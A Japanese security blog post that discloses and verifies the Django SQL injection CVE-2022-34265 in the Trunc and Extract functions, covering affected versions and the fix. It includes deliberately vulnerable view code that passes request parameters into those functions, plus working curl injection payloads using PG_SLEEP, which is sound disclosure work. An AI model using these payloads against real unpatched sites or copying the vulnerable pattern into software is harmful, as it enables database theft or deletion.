2022年7月5日(米国時間)にDjangoの脆弱性(CVE-2022-34265)が公開されました。本記事では本脆弱性に関する弊社の考察と検証結果を記載します。
脆弱性の概要
本脆弱性は、Djangoの日付データに使う関数 Trunc
, Extract
の引数をSQLで実行する時の文字列の加工が適切でなかったことに起因する脆弱性です。リクエストパラメータをそのままTrunc
のkind
引数、またはExtract
のlookup_name
引数に指定することによって、任意のSQL文を実行されてしまう危険性があります。
本脆弱性を悪用することで、第三者がデータベースに命令を送ることができ、権限のないデータへのアクセスや、データベースの削除をすることができます。
影響を受けるバージョン
- Django 3.2.14 より前の 3.2.x
- Django 4.0.6 より前の4.0.x
対策
- Django 4.0.6 以上へのアップデート
- Django 3.2.14 以上へのアップデート
脆弱性の調査経緯と考察
過去にDjangoに発見された脆弱性にはSQL Injectionが多く、CVE-2020-7471 のような脆弱性が他にもあるのではないかと考え、データベースの関数の引数を順番に確認したところ、無害化処理が施されていない引数を発見し、IPAとDjangoの開発チームにTakuto Yoshikai(筆者)が報告しました。
その結果、CVE-2022-34265 を解決するリリースで
- 脆弱な引数を無害化処理する
- シングルクォートなどが引数に含まれていた時にSQL文が壊されないように無害化処理をする
などの対応がとられました。
検証環境
- Ubuntu 20.04
- Python 3.9.7
- Django 4.0.5
検証環境は以下のリポジトリで公開しています。
https://github.com/aeyesec/CVE-2022-34265
検証手順と検証結果
構成
- プロジェクト名: project
- アプリケーション名: vuln
ソースコード
vuln/models.py
DjangoのDocumentation のExampleを使用します。
日付の開始時刻と終了時刻を記録するテーブルのモデルです。
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
これは、Experimentのstart_datetimeカラムの年の数字が、end_datetimeのyear, month, day, hour, minute, second等と同じものをfilterしていますここからSQL Injectionの脆弱性が発動する可能性があります。
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
Trunc関数は、日時のデータから特定のyear, month, day, hour, minute, secondなどの部分を切り捨てることに使います。
上記の例だと、start_datetimeと、payloadの部分を切り捨てたstart_datetimeが同じレコードを取得しています。
ここからSQL Injectionの脆弱性が発動する可能性があります。
検証
攻撃が成功することを検証するために、PG_SLEEP命令を使ってレスポンスが返ってくる時間に遅れが発生することを確認しました。
# 正常なURL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# データベース命令を実行できるURL
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
PG_SLEEPで5秒指定していますが、数回PG_SLEEP(5)が動いているようです。実装や状況によっては何回か呼び出されるようです。
payloadを変更することにより任意のSQL文を実行できるため、データベースの削除などの危険な攻撃も可能です。
まとめ
考察および検証の結果、実装方法によっては攻撃が成功する可能性があるとわかりました。場合によってはDROP TABLEされてしまう危険性があるので、早急なアップデートを推奨いたします。